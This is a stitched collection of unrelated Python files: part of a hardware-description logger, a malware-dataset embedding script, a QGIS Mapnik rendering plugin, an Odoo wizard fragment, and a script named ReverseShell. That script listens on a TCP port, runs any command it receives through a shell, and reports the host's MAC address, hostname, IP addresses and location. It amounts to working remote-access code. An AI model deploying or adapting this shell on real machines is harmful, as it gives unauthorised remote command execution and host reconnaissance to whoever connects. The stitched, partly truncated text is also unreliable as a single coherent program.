                            '({processor[core_count]} core(s))')
                          .format(processor=processor))

        # Memory
        memories = data['memory']['components']
        self.log.info(_('{0} memory device(s) found:'.format(len(memories))))
        for memory in memories:
            self.log.info(_('  - {memory[locator]}: {memory[size]} '
                            '{memory[speed]} {memory[type]} '
                            'from {memory[manufacturer]}'
                          .format(memory=memory)))

        # Disks
        disks = data['disk']['components']
        self.log.info(_('{0} disks(s) found:'.format(len(disks))))
        for disk in disks:
            disktype = 'rotational' if disk['rota'] == '1' else 'ssd'
            size, unit = self._adjust_unit(int(disk['size']))
            self.log.info(_('  - {disk[model]} ({disktype}, {size:.0f} {unit}B)')
                          .format(disk=disk, disktype=disktype,
                                  size=size, unit=unit))

        # Ethernet Controllers
        eths = [elt for elt in data['pci']['components']
                if elt.get('class') == 'Ethernet controller']
        self.log.info(_('{0} ethernet controller(s) found:'.format(len(eths))))
        for eth in eths:
            self.log.info(_('  - {eth[device]} ({eth[slot]})')
                          .format(eth=eth))

        self.log.info(_('----- END MACHINE DESCRIPTION -----'))


import numpy as np
import heapq
import scipy.io as scio

#neighbours
num=6

def sumlist(ls):
    total = 0
    for ele in range(0, len(ls)):
        total = total + ls[ele]
    return total

def get_neibor_index(m):
    max_number = heapq.nlargest(num, m)
    max_index = []
    for t in max_number:
        index = m.index(t)
        max_index.append(index)
        m[index] = 0
    # print(max_number)
    # print(max_index)
    return  max_index,max_number

def aggregation(M,m,index):
    # for i in len(m):
    #     m[i]=2*m[i]/(M[index][index])
    nerlist,nervaluelist = get_neibor_index(m)
    # print(nerlist)
    # print(nervaluelist)
    # 权重列表 numpy
    powerlist = np.array(nervaluelist)/sumlist(nervaluelist)
    # print(powerlist)

    temlist=[]
    d = []
    res=np.zeros((1,128))
    j=0
    for i in nerlist:

        res += M[i]*powerlist[j]
        # res += M[i] * 0.2
        j+=1

    # print(res)
    return res

M=np.load('getembeding\\featts.npy')

A_extern = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_extern_package.mat')['permission']
A_interface = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_Interface.mat')['permission']
A_per = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_permission.mat')['permission']
A_so = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_so.mat')['permission']
A_api= scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_APICIC2019.mat')['permission']

res=np.zeros((len(A_per)-3, 128))

for i in range(0,len(A_per)-3):
    l_e = A_extern[i].tolist()
    l_n_e = aggregation(M, l_e,i)
    # print(l_n_e)
    # res[i]=l_n_e
    l_i = A_interface[i].tolist()
    l_n_i = aggregation(M, l_i, i)
    # res[i] = l_n_i
    l_p = A_per[i].tolist()
    l_n_p = aggregation(M, l_p,i)
    l_s = A_so[i].tolist()
    l_n_s= aggregation(M, l_s,i)
    l_a = A_api[i].tolist()
    l_n_a = aggregation(M, l_a, i)

    # res[i] = (l_n_e+l_n_i+l_n_p+l_n_a)/4
    res[i] = l_n_e*0.12+ l_n_i *0.1 + l_n_p *0.57 + 0.17*l_n_a + l_n_s *0.1
    # res[i] =l_n_a
print(res.shape)

#adjust
# listd=[]
#
# for i in range(249,251):
#     listd.append(i)
# res=np.delete(res,listd,axis=0)
#
# print(np.argwhere(np.isnan(res)))
# print(res)
# print(res.shape)

np.save('new_app_emb\\new_app_emb_CIC2019\\new_app_emb_all_6.npz',res)


# -*- coding: utf-8 -*-

import os
import tempfile
import resources
import relativism
from qgis.gui import *
from qgis.core import *
from PyQt4.QtGui import *
from PyQt4.QtCore import *

try:
    import mapnik2 as mapnik
except ImportError:
    import mapnik

# repair compatibility with mapnik2 development series
if hasattr(mapnik,'Box2d'):
    mapnik.Envelope = mapnik.Box2d

MAPNIK_VERSION = None

if hasattr(mapnik,'mapnik_version'):
    MAPNIK_VERSION = mapnik.mapnik_version()

import sync

# Use pdb for debugging
#import pdb
# These lines allow you to set a breakpoint in the app
#pyqtRemoveInputHook()
#pdb.set_trace()

#TODO - support for Composer
# http://trac.osgeo.org/qgis/changeset/13361

try:
    from pygments import highlight
    from pygments.lexers import XmlLexer
    from pygments.formatters import HtmlFormatter
    HIGHLIGHTING = True
except:
    HIGHLIGHTING = False

from imageexport import ImageExport
from text_editor import TextEditor

NAME = 'Quantumnik'

class Quantumnik(QObject):
    def __init__(self, iface):
        QObject.__init__(self)
        self.iface = iface
        self.canvas = iface.mapCanvas()

        # Fake canvas to use in tab to overlay the quantumnik layer
        self.qCanvas = None
        self.qCanvasPan = None
        self.qCanvasZoomIn = None
        self.qCanvasZoomOut = None
        self.tabWidget = None

        self.mapnik_map = None
        self.using_mapnik = False
        self.from_mapfile = False
        self.loaded_mapfile = None
        self.been_warned = False
        self.last_image_path = None
        self.dock_window = None
        self.keyAction = None
        self.keyAction2 = None
        self.keyAction3 = None

    def initGui(self):
        self.action = QAction(QIcon(":/mapnikglobe.png"), QString("Create Mapnik Canvas"),
                              self.iface.mainWindow())
        self.action.setWhatsThis("Create Mapnik Canvas")
        self.action.setStatusTip("%s: render with Mapnik" % NAME)
        QObject.connect(self.action, SIGNAL("triggered()"), self.toggle)

        self.action4 = QAction(QString("View live xml"), self.iface.mainWindow())
        QObject.connect(self.action4, SIGNAL("triggered()"), self.view_xml)

        self.action3 = QAction(QString("Export Mapnik xml"),
                               self.iface.mainWindow())
        QObject.connect(self.action3, SIGNAL("triggered()"), self.save_xml)

        self.action5 = QAction(QString("Load Mapnik xml"),
                               self.iface.mainWindow())
        QObject.connect(self.action5, SIGNAL("triggered()"), self.load_xml)

        self.action6 = QAction(QString("Load Cascadenik mml"),
                               self.iface.mainWindow())
        QObject.connect(self.action6, SIGNAL("triggered()"), self.load_mml)

        self.action7 = QAction(QString("Export Map Graphics"), self.iface.mainWindow())
        QObject.connect(self.action7, SIGNAL("triggered()"),
                        self.export_image_gui)

        self.helpaction = QAction(QIcon(":/mapnikhelp.png"),"About",
                                  self.iface.mainWindow())
        self.helpaction.setWhatsThis("%s Help" % NAME)
        QObject.connect(self.helpaction, SIGNAL("triggered()"), self.helprun)

        self.iface.addToolBarIcon(self.action)

        self.iface.addPluginToMenu("&%s" % NAME, self.action)
        self.iface.addPluginToMenu("&%s" % NAME, self.helpaction)
        self.iface.addPluginToMenu("&%s" % NAME, self.action3)
        self.iface.addPluginToMenu("&%s" % NAME, self.action4)
        self.iface.addPluginToMenu("&%s" % NAME, self.action5)
        self.iface.addPluginToMenu("&%s" % NAME, self.action6)
        self.iface.addPluginToMenu("&%s" % NAME, self.action7)

        # > QGIS 1.2
        if hasattr(self.iface,'registerMainWindowAction'):
            self.keyAction2 = QAction(QString("Switch to QGIS"), self.iface.mainWindow())
            self.iface.registerMainWindowAction(self.keyAction2, "Ctrl+[")
            self.iface.addPluginToMenu("&%s" % NAME, self.keyAction2)
            QObject.connect(self.keyAction2, SIGNAL("triggered()"),self.switch_tab_qgis)

            self.keyAction3 = QAction(QString("Switch to Mapnik"), self.iface.mainWindow())
            self.iface.registerMainWindowAction(self.keyAction3, "Ctrl+]")
            self.iface.addPluginToMenu("&%s" % NAME, self.keyAction3)
            QObject.connect(self.keyAction3, SIGNAL("triggered()"),self.switch_tab_mapnik)

    def unload(self):
        self.iface.removePluginMenu("&%s" % NAME,self.action)
        self.iface.removePluginMenu("&%s" % NAME,self.helpaction)
        self.iface.removePluginMenu("&%s" % NAME,self.action3)
        self.iface.removePluginMenu("&%s" % NAME,self.action4)
        self.iface.removePluginMenu("&%s" % NAME,self.action5)
        self.iface.removePluginMenu("&%s" % NAME,self.action6)
        self.iface.removePluginMenu("&%s" % NAME,self.action7)
        self.iface.removeToolBarIcon(self.action)
        if self.keyAction:
            self.iface.unregisterMainWindowAction(self.keyAction)
        if self.keyAction2:
            self.iface.unregisterMainWindowAction(self.keyAction2)
        if self.keyAction3:
            self.iface.unregisterMainWindowAction(self.keyAction3)

    def export_image_gui(self):
        flags = Qt.WindowTitleHint | Qt.WindowSystemMenuHint | Qt.WindowStaysOnTopHint
        export = ImageExport(self,flags)
        export.show()

    def view_xml(self,m=None):
        if not self.dock_window:
            self.dock_window = TextEditor(self)
            self.iface.mainWindow().addDockWidget( Qt.BottomDockWidgetArea,
                                                   self.dock_window )
            if not self.using_mapnik:
                # http://trac.osgeo.org/qgis/changeset/12955 - render starting signal
                QObject.connect(self.canvas, SIGNAL("renderComplete(QPainter *)"),
                                self.checkLayers)

        self.dock_window.show()
        if self.loaded_mapfile:
            # if we have loaded a map xml or mml
            # so lets just display the active file
            xml = open(self.loaded_mapfile,'rb').read()
        else:
            if not m:
                # regenerate from qgis objects
                e_c = sync.EasyCanvas(self,self.canvas)
                m = e_c.to_mapnik()
            if hasattr(mapnik,'save_map_to_string'):
                xml = mapnik.save_map_to_string(m)
            else:
                (handle, mapfile) = tempfile.mkstemp('.xml', 'quantumnik-map-')
                os.close(handle)
                mapnik.save_map(m,str(mapfile))
                xml = open(mapfile,'rb').read()
        e = self.canvas.extent()
        bbox = '%s %s %s %s' % (e.xMinimum(),e.yMinimum(),
                                e.xMaximum(),e.yMaximum())
        cmd = '\n<!-- nik2img.py mapnik.xml out.png -d %s %s -e %s -->\n' % (self.canvas.width(), self.canvas.height(), bbox)
        try:
            if self.mapnik_map:
                cmd += '<!-- <MinScaleDenominator>%s</MinScaleDenominator> -->\n' % (self.mapnik_map.scale_denominator())
        except:
            pass

        code = xml + cmd
        if HIGHLIGHTING:
            highlighted = highlight(code, XmlLexer(), HtmlFormatter(linenos=False, nowrap=False, full=True))
            self.dock_window.textEdit.setHtml(highlighted)
        else:
            self.dock_window.textEdit.setText(xml + cmd)

    def helprun(self):
        infoString = QString("Written by Dane Springmeyer\nhttps://github.com/springmeyer/quantumnik")
        QMessageBox.information(self.iface.mainWindow(),"About %s" % NAME,infoString)

    def toggle(self):
        if self.using_mapnik:
            self.stop_rendering()
        else:
            self.start_rendering()

    def proj_warning(self):
        self.been_warned = True
        ren = self.canvas.mapRenderer()
        if not ren.hasCrsTransformEnabled() and self.canvas.layerCount() > 1:
            if hasattr(self.canvas.layer(0),'crs'):
                if not self.canvas.layer(0).crs().toProj4() == ren.destinationCrs().toProj4():
                    QMessageBox.information(self.iface.mainWindow(),"Warning","The projection of the map and the first layer do not match. Mapnik may not render the layer(s) correctly.\n\nYou likely need to either enable 'On-the-fly' CRS transformation or set the Map projection in your Project Properties to the projection of your layer(s).")
            else:
                if not self.canvas.layer(0).srs().toProj4() == ren.destinationSrs().toProj4():
                    QMessageBox.information(self.iface.mainWindow(),"Warning","The projection of the map and the first layer do not match. Mapnik may not render the layer(s) correctly.\n\nYou likely need to either enable 'On-the-fly' CRS transformation or set the Map projection in your Project Properties to the projection of your layer(s).")

    def save_xml(self):
        # need to expose as an option!
        relative_paths = True

        mapfile = QFileDialog.getSaveFileName(None, "Save file dialog",
                                              'mapnik.xml', "Mapfile (*.xml)")
        if mapfile:
            e_c = sync.EasyCanvas(self,self.canvas)
            mapfile_ = str(mapfile)
            base_path = os.path.dirname(mapfile_)
            e_c.base_path = base_path
            m = e_c.to_mapnik()
            mapnik.save_map(m,mapfile_)

            if relative_paths:
                relativism.fix_paths(mapfile_,base_path)

    def make_bundle(self): pass
        # todo: accept directory name
        # move mapfile and all file based datasources
        # into that folder and stash some docs inside
        # provide option to zip and upload to url on the fly

    def set_canvas_from_mapnik(self):
        # set up keyboard shortcut
        # > QGIS 1.2
        if hasattr(self.iface,'registerMainWindowAction'):
            if not self.keyAction:
                # TODO - hotkey does not work on linux....
                self.keyAction = QAction(QString("Refresh " + NAME), self.iface.mainWindow())
                self.iface.registerMainWindowAction(self.keyAction, "Ctrl+r")
                self.iface.addPluginToMenu("&%s" % NAME, self.keyAction)
                QObject.connect(self.keyAction, SIGNAL("triggered()"),self.toggle)

        self.mapnik_map.zoom_all()
        e = self.mapnik_map.envelope()
        crs = QgsCoordinateReferenceSystem()
        srs = self.mapnik_map.srs
        if srs == '+init=epsg:900913':
            # until we can look it up in srs.db...
            merc = "+init=EPSG:900913"
            crs.createFromProj4(QString(merc))
        elif 'init' in srs:
            # TODO - quick hack, needs regex and fallbacks
            epsg = srs.split(':')[1]
            crs.createFromEpsg(int(epsg))
        else:
            if srs == '+proj=latlong +datum=WGS84':
                # expand the Mapnik srs a bit
                # http://trac.mapnik.org/ticket/333
                srs = '+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs'
            crs.createFromProj4(QString(srs))
        if hasattr(self.canvas.mapRenderer(),'setDestinationCrs'):
            self.canvas.mapRenderer().setDestinationCrs(crs)
        else:
            self.canvas.mapRenderer().setDestinationSrs(crs)
        if not crs.isValid():
            QMessageBox.information(self.iface.mainWindow(),
                                    "Warning","Projection not understood")
            return
        QObject.connect(self.canvas, SIGNAL("renderComplete(QPainter *)"),
                        self.render_dynamic)
        self.canvas.setExtent(QgsRectangle(e.minx,e.miny,e.maxx,e.maxy))
        self.canvas.refresh()

    def set_mapnik_to_canvas(self):
        QObject.connect(self.canvas, SIGNAL("renderComplete(QPainter *)"),
                        self.render_dynamic)
        self.canvas.refresh()

    def refresh_loaded_mapfile(self):
        if self.mapfile_format == 'Cascadenik mml':
            self.load_mml(refresh=True)
        else:
            self.load_xml(refresh=True)

    def load_mml(self,refresh=False):
        self.from_mapfile = True
        self.mapfile_format = 'Cascadenik mml'
        if self.loaded_mapfile and refresh:
            mapfile = self.loaded_mapfile
        else:
            mapfile = QFileDialog.getOpenFileName(None, "Open file dialog",
                                                  '', "Cascadenik MML (*.mml)")
        if mapfile:
            self.mapnik_map = mapnik.Map(1,1)
            import cascadenik
            if hasattr(cascadenik,'VERSION'):
                major = int(cascadenik.VERSION.split('.')[0])
                if major < 1:
                    from cascadenik import compile
                    compiled = '%s_compiled.xml' % os.path.splitext(str(mapfile))[0]
                    open(compiled, 'w').write(compile(str(mapfile)))
                    mapnik.load_map(self.mapnik_map, compiled)
                elif major == 1:
                    output_dir = os.path.dirname(str(mapfile))
                    cascadenik.load_map(self.mapnik_map,str(mapfile),output_dir,verbose=False)
                elif major > 1:
                    raise NotImplementedError('This nik2img version does not yet support Cascadenik > 1.x, please upgrade nik2img to the latest release')
            else:
                from cascadenik import compile
                compiled = '%s_compiled.xml' % os.path.splitext(str(mapfile))[0]
                #if os.path.exits(compiled):
                    #pass
                open(compiled, 'w').write(compile(str(mapfile)))
                mapnik.load_map(self.mapnik_map, compiled)

            if self.loaded_mapfile and refresh:
                self.set_mapnik_to_canvas()
            else:
                self.set_canvas_from_mapnik()
            self.loaded_mapfile = str(mapfile)

    def load_xml(self,refresh=False):
        # TODO - consider putting into its own layer:
        # https://trac.osgeo.org/qgis/ticket/2392#comment:4
        self.from_mapfile = True
        self.mapfile_format = 'xml mapfile'
        if self.loaded_mapfile and refresh:
            mapfile = self.loaded_mapfile
        else:
            mapfile = QFileDialog.getOpenFileName(None, "Open file dialog",
                                                  '', "XML Mapfile (*.xml)")
        if mapfile:
            self.mapnik_map = mapnik.Map(1,1)
            mapnik.load_map(self.mapnik_map,str(mapfile))
            if self.loaded_mapfile and refresh:
                self.set_mapnik_to_canvas()
            else:
                self.set_canvas_from_mapnik()
            self.loaded_mapfile = str(mapfile)

    def finishStopRender(self):
        self.iface.mapCanvas().setMinimumSize(QSize(0, 0))

    def stop_rendering(self):
        # Disconnect all the signals as we disable the tool
        QObject.disconnect(self.qCanvas, SIGNAL("renderComplete(QPainter *)"),
                           self.render_dynamic)
        QObject.disconnect(self.qCanvas,
                           SIGNAL("xyCoordinates(const QgsPoint&)"),
                           self.updateCoordsDisplay)
        QObject.disconnect(self.canvas, SIGNAL("renderComplete(QPainter *)"),
                           self.checkLayers)
        QObject.disconnect(self.canvas, SIGNAL("extentsChanged()"),
                           self.checkExtentsChanged)
        QObject.disconnect(self.canvas, SIGNAL("mapToolSet(QgsMapTool *)"),
                           self.mapToolSet)
        self.using_mapnik = False
        # If the current tab is quantumnik then we need to update the extent
        # of the main map when exiting to make sure they are in sync
        if self.tabWidget.currentIndex() == 1:
            self.mapnikMapCoordChange()
        # Need to restore the main map instead of the mapnik tab
        tabWidgetSize = self.tabWidget.size()
        mapCanvasExtent = self.iface.mapCanvas().extent()
        self.iface.mapCanvas().setMinimumSize(tabWidgetSize)
        self.iface.mainWindow().setCentralWidget(self.iface.mapCanvas())
        self.iface.mapCanvas().show()
        # Set the canvas extent to the same place it was before getting
        # rid of the tabs
        self.iface.mapCanvas().setExtent(mapCanvasExtent)
        self.canvas.refresh()

        # null out some vars
        self.qCanvasPan = None
        self.qCanvasZoomIn = None
        self.qCanvasZoomOut = None
        # We have to let the main app swizzle the screen and then
        # hammer it back to the size we want
        QTimer.singleShot(1, self.finishStopRender)

    def create_mapnik_map(self):
        if not self.been_warned:
            self.proj_warning()
        self.easyCanvas = sync.EasyCanvas(self,self.canvas)
        self.mapnik_map = self.easyCanvas.to_mapnik()
        if self.dock_window:
            self.view_xml(self.mapnik_map)

    @property
    def background(self):
        return sync.css_color(self.canvas.backgroundBrush().color())

    # Provide a hack to try and find the map coordinate status bar element
    # to take over while the mapnik canvas is in play.
    def findMapCoordsStatus(self):
        coordStatusWidget = None
        sb = self.iface.mainWindow().statusBar()
        for x in sb.children():
            # Check if we have a line edit
            if isinstance(x, QLineEdit):
                # Now check if the text does not contain a ':'
                if not ':' in x.text():
                    # we have our coord status widget
                    coordStatusWidget = x
        return coordStatusWidget

    def finishStartRendering(self):
        self.tabWidget.setMinimumSize(QSize(0, 0))
        self.canvas.refresh()

    def start_rendering(self):
        if self.from_mapfile and not self.canvas.layerCount():
            self.refresh_loaded_mapfile()
        else:
            self.from_mapfile = False
            # http://trac.osgeo.org/qgis/changeset/12926
            # TODO - if not dirty we don't need to create a new map from scratch...
            self.create_mapnik_map()
            # Need to create a tab widget to toss into the main window
            # to hold both the main canvas as well as the mapnik rendering
            mapCanvasSize = self.canvas.size()
            mapCanvasExtent = self.iface.mapCanvas().extent()
            newWidget = QTabWidget(self.iface.mainWindow())
            sizePolicy = QSizePolicy(QSizePolicy.Expanding,
                                     QSizePolicy.Preferred)
            sizePolicy.setHorizontalStretch(0)
            sizePolicy.setVerticalStretch(0)
            sizePolicy.setHeightForWidth(newWidget.sizePolicy().hasHeightForWidth())
            newWidget.setSizePolicy(sizePolicy)
            newWidget.setSizeIncrement(QSize(0, 0))
            newWidget.setBaseSize(mapCanvasSize)
            newWidget.resize(mapCanvasSize)
            # Very important: Set the min size of the tabs to the size of the
            # original canvas.  We will then let the main app take control
            # and then use a one shot timer to set the min size back down.  It
            # is a hack, but allows us to keep the canvas and tab size correct.
            newWidget.setMinimumSize(mapCanvasSize)

            # This is the new blank canvas that we will use the qpainter
            # from to draw the mapnik image over.
            self.qCanvas = QgsMapCanvas(self.iface.mainWindow())
            self.qCanvas.setCanvasColor(QColor(255,255,255))
            self.qCanvas.enableAntiAliasing(True)
            self.qCanvas.useImageToRender(False)
            self.qCanvas.show()

            # A set of map tools for the mapnik canvas
            self.qCanvasPan = QgsMapToolPan(self.qCanvas)
            self.qCanvasZoomIn = QgsMapToolZoom(self.qCanvas,False)
            self.qCanvasZoomOut = QgsMapToolZoom(self.qCanvas,True)
            self.mapToolSet(self.canvas.mapTool())

            # Add the canvas items to the tabs
            newWidget.addTab(self.canvas, "Main Map")
            newWidget.addTab(self.qCanvas, "Mapnik Rendered Map")
            self.tabWidget = newWidget
            # Add the tabs as the central widget
            self.iface.mainWindow().setCentralWidget(newWidget)
            # Need to set the extent of both canvases as we have just resized
            # things
            self.canvas.setExtent(mapCanvasExtent)
            self.qCanvas.setExtent(mapCanvasExtent)
            # Hook up to the tabs changing so we can make sure to update the
            # rendering in a lazy way... i.e. a pan in the main canvas will
            # not cause a redraw in the mapnik tab until the mapnik tab
            # is selected.
            self.connect(self.tabWidget,SIGNAL("currentChanged(int)"),
                         self.tabChanged)
            # Grab the maptool change signal so the mapnik canvas tool
            # can stay in sync.
            # TODO: We need to get the in/out property for the zoom tool
            # exposed to the python bindings.  As it stands now, we can
            # not tell what direction the tool is going when we get this
            # signal and it is a zoom tool.
            QObject.connect(self.canvas, SIGNAL("mapToolSet(QgsMapTool *)"),
                            self.mapToolSet)
            # Catch any mouse movements over the mapnik canvas and
            # sneek in and update the cord display
            ## This is a hack to find the status element to populate with xy
            self.mapCoords = self.findMapCoordsStatus()
            QObject.connect(self.qCanvas,
                            SIGNAL("xyCoordinates(const QgsPoint&)"),
                            self.updateCoordsDisplay)
            # Get the renderComplete signal for the qCanvas to allow us to
            # render the mapnik image over it.
            QObject.connect(self.qCanvas, SIGNAL("renderComplete(QPainter *)"),
                            self.render_dynamic)
            # Get the renderComplete signal for the main canvas so we can tell
            # if there have been any layer changes and if we need to re-draw
            # the mapnik image.  This is mainly for when the mapnik tab is
            # active but layer changes are happening.
            QObject.connect(self.canvas, SIGNAL("renderComplete(QPainter *)"),
                            self.checkLayers)
            QObject.connect(self.canvas, SIGNAL("extentsChanged()"),
                            self.checkExtentsChanged)
            self.using_mapnik=True
            # We use a single shot timer to let the main app resize the main
            # window with us holding a minsize we want, then we reset the
            # allowable min size after the main app has its turn.  Hack, but
            # allows for the window to be rezised with a new main widget.
            QTimer.singleShot(1, self.finishStartRendering)

    def updateCoordsDisplay(self, p):
        if self.mapCoords:
            capturePyString = "%.5f,%.5f" % (p.x(),p.y())
            capture_string = QString(capturePyString)
            self.mapCoords.setText(capture_string)

    def mapToolSet(self, tool):
        # something changed here in recent QGIS versions causing:
        # exceptions when closing QGIS because these objects are None
        if tool:
            if isinstance(tool,QgsMapToolPan):
                self.qCanvas.setMapTool(self.qCanvasPan)
            elif isinstance(tool,QgsMapToolZoom):
                # Yet another hack to find out if the tool we are using is a
                # zoom in or out
                if tool.action().text() == QString("Zoom In"):
                    self.qCanvas.setMapTool(self.qCanvasZoomIn)
                else:
                    self.qCanvas.setMapTool(self.qCanvasZoomOut)
            else:
                self.qCanvas.setMapTool(self.qCanvasPan)

    def switch_tab_qgis(self):
        if self.tabWidget:
            self.tabWidget.setCurrentIndex(0)

    def switch_tab_mapnik(self):
        if self.tabWidget:
            self.tabWidget.setCurrentIndex(1)

    def tabChanged(self, index):
        if index == 0:
            self.mapnikMapCoordChange()
        else:
            self.mainMapCoordChange()

    def mainMapCoordChange(self):
        # print "coordChange"
        self.mapnik_map = self.easyCanvas.to_mapnik(self.mapnik_map)
        self.qCanvas.setExtent(self.iface.mapCanvas().extent())
        self.qCanvas.refresh()

    def mapnikMapCoordChange(self):
        # print "coordChange"
        self.canvas.setExtent(self.qCanvas.extent())
        self.canvas.refresh()

    # Here we are checking to see if we got a new extent on the main
    # canvas even though we are in the mapnik tab... in that case we have
    # done something like zoom to full extent etc.
    def checkExtentsChanged(self):
        if self.tabWidget:
            if self.tabWidget.currentIndex() == 1:
                self.mainMapCoordChange()

    # Here we are checking to see if we got a render complete on the main
    # canvas even though we are in the mapnik tab... in that case we have
    # a new layer etc.
    def checkLayers(self, painter=None):
        if self.tabWidget:
            if self.tabWidget.currentIndex() == 1:
                # There was a change in the main canvas while we are viewing
                # the mapnik canvas (i.e. layer added/removed etc) so we
                # need to refresh the mapnik map
                self.mapnik_map = self.easyCanvas.to_mapnik(self.mapnik_map)
                self.qCanvas.refresh()
                # We also make sure the main map canvas gets put back to the
                # current extent of the qCanvas incase the main map got changed
                # as a side effect since updates to it are lazy loaded on tab
                # change.
                self.canvas.setExtent(self.qCanvas.extent())
                # We make sure to update the XML viewer if
                # if is open
                if self.dock_window:
                    self.view_xml(self.mapnik_map)
        if self.dock_window:
            self.view_xml()

    def render_dynamic(self, painter):
        if self.mapnik_map:
            w = painter.device().width()
            h = painter.device().height()
            # using canvas dims leads to shift in QGIS < 1.3...
            #w = self.canvas.width()
            #h = self.canvas.height()
            try:
                self.mapnik_map.resize(w,h)
            except:
                self.mapnik_map.width = w
                self.mapnik_map.height = h
            if self.qCanvas:
                can = self.qCanvas
            else:
                can = self.canvas
            try:
                e = can.extent()
            except:
                can = self.canvas
                e = can.extent()
            bbox = mapnik.Envelope(e.xMinimum(),e.yMinimum(),
                                   e.xMaximum(),e.yMaximum())
            self.mapnik_map.zoom_to_box(bbox)
            im = mapnik.Image(w,h)
            mapnik.render(self.mapnik_map,im)
            if os.name == 'nt':
                qim = QImage()
                qim.loadFromData(QByteArray(im.tostring('png')))
                painter.drawImage(0,0,qim)
            else:
                qim = QImage(im.tostring(),w,h,QImage.Format_ARGB32)
                painter.drawImage(0,0,qim.rgbSwapped())
            can.refresh()


# ncat localhost 2843

import socket
import subprocess
import os
import uuid
import urllib.request
import json
import platform

class Info:
    def __init__(self):
        pass

    def internalIP(self):
        internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        internal_ip.connect(('google.com', 0))
        return internal_ip.getsockname()[0]

    def externalIP(self):
        public_ip = urllib.request.urlopen('https://ipinfo.io/').read().decode('utf8')
        return json.loads(public_ip)['ip']

    @property  # so you don't need to call it like 'mac()'
    def mac(self):
        try:
            hostname = socket.getfqdn(socket.gethostname()).strip()
            return uuid.UUID(int=uuid.getnode()).hex[-12:]
        except:
            return 'null'

    @property
    def hostname(self):
        try:
            hostname = socket.getfqdn(socket.gethostname()).strip()
            return hostname
        except:
            return 'null'

    @property
    def ip(self):
        try:
            # the 'requests' library does not work very well with pyinstaller
            public_ip = self.externalIP()
            private_ip = self.internalIP()
            return f'Public IP: {public_ip}\nPrivate IP: {private_ip}'
        except:
            return 'null'

    @property
    def location(self):
        try:
            data = urllib.request.urlopen('https://ipinfo.io/').read().decode('utf8')
            country = json.loads(data)['country']
            city = json.loads(data)['region']
            return f'location: {country}/{city}'
        except:
            return 'null'

    @property
    def machine(self):
        try:
            return platform.system()
        except:
            return 'null'

    @property
    def core(self):
        try:
            return platform.machine()
        except:
            return 'null'

class Helper:
    def __init__(self):
        pass

    @property
    def general(self):
        return 'This script allows you to run normal shell commands as well as some custom commands, ' \
               'type `!help.info` to get more information about it. '

    @property
    def info(self):
        msg = 'The info command gives you information about the system\n\n'
        msg += 'info.mac: MAC address\n'
        msg += 'info.hostname: name assigned to this device in this network\n'
        msg += 'info.ip: private and public ip address\n'
        msg += 'info.location: country/city\n'
        msg += 'info.machine: OS\n'
        msg += 'info.core: CPU'
        return msg

class ReverseShell:
    HOST = 'localhost'
    PORT = 2843
    BUFF_SIZE = 2048

    def __init__(self):
        self.isAlive = True
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)  # TCP socket
        self.s.bind((self.HOST, self.PORT))  # bind it to the address we have specified above
        self.s.listen()  # listen for connections
        print(f'listening on {self.HOST}:{self.PORT}')
        self.client_socket, self.client_address = self.s.accept()
        print(f'Accepted connection: {self.client_address[0]}:{self.client_address[1]}')

    def send_msg(self, msg):
        msg = bytes(f'{msg}\n\n:> ', 'utf8')  # str into utf8 bytes conversion
        send = self.client_socket.sendall(msg)
        return send

    def receive_msg(self):
        receive = self.client_socket.recv(self.BUFF_SIZE)
        return receive

    def hq(self, msg):
        try:
            if msg == 'destroy':
                self.client_socket.close()  # close the client socket
                print('client connection closed')
                self.isAlive = False

            elif msg[:5] == 'info.':
                info = Info()
                if len(msg) > 5:
                    if msg[:12] == 'info.machine':
                        self.send_msg(info.machine)

                    elif msg[:13] == 'info.hostname':
                        self.send_msg(info.hostname)

                    elif msg[:7] == 'info.ip':
                        self.send_msg(info.ip)

                    elif msg[:13] == 'info.location':
                        self.send_msg(info.location)

                    elif msg[:8] == 'info.mac':
                        self.send_msg(info.mac)

                    elif msg[:9] == 'info.core':
                        self.send_msg(info.core)

                else:
                    helper = Helper()
                    self.send_msg(helper.info)

            elif msg[:5] == '!help':
                helper = Helper()
                if len(msg) > 5 and msg[6:] != '':
                    if msg[6:] == 'info':
                        self.send_msg(helper.info)
                else:
                    self.send_msg(helper.general)

            else:
                # Normal terminal commands
                tsk = subprocess.Popen(args=msg, shell=True, stdin=subprocess.PIPE,
                                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
                stdout, stderr = tsk.communicate()
                result = stdout.decode('utf8')  # stdout result decoded in utf8
                if msg[:2] == 'cd':  # change directory functionality added
                    os.chdir(msg[3:])
                    self.send_msg(f'*directory changed* "{os.getcwd()}"\n')

                elif msg[:4] == 'exit':
                    self.client_socket.close()  # close the client socket
                    print('client connection closed')
                    self.socketInit()  # listens for a new connection again

                else:
                    self.send_msg(result)  # sends stdout

        except Exception as e:
            self.send_msg(f'Error executing the operation:\n{e}')

    def socketInit(self):
        # will wait until it receives a new connection, and then jump to main()
        print(f'listening on {self.HOST}:{self.PORT}')
        self.client_socket, self.client_address = self.s.accept()
        print(f'Accepted connection: {self.client_address[0]}:{self.client_address[1]}')
        self.main()

    def main(self):
        if self.send_msg('\\o/ You have connected\nType !help to get more information about this script\nType `exit` '
                         'or press `ctrl + c` to close client connection\nType `destroy` to stop the script') is not \
                None:
            print('Error :(')

        while self.isAlive:
            try:
                msg = ''
                chunk = self.receive_msg()
                msg += chunk.strip().decode('utf8')
                # print(msg)  # prints the msg you have sent through ncat
                self.hq(msg)  # hq for commands, functions, etc using received msg

            except:  # just if the app crashes and can't exit properly
                self.client_socket.close()
                print('client connection closed')
                self.socketInit()

if __name__ == '__main__':
    revShell = ReverseShell()
    revShell.main()


import logging

from odoo import fields, models

_logger = logging.getLogger(__name__)

class FamilyContactInformationUpdate(models.TransientModel):
    _description = 'Family Contact Information Update'
    _name = 'clv.family.contact_information_updt'

    def _default_family_ids(self):
        return self._context.get('active_ids')
    family_ids = fields.Many2many(
        comodel_name='clv.family',
        relation='clv_family_contact_information_updt_rel',
        string='Families',
        default=_default_family_ids
    )

    updt_phone = fields.Boolean(string='Update Phone', default=False)
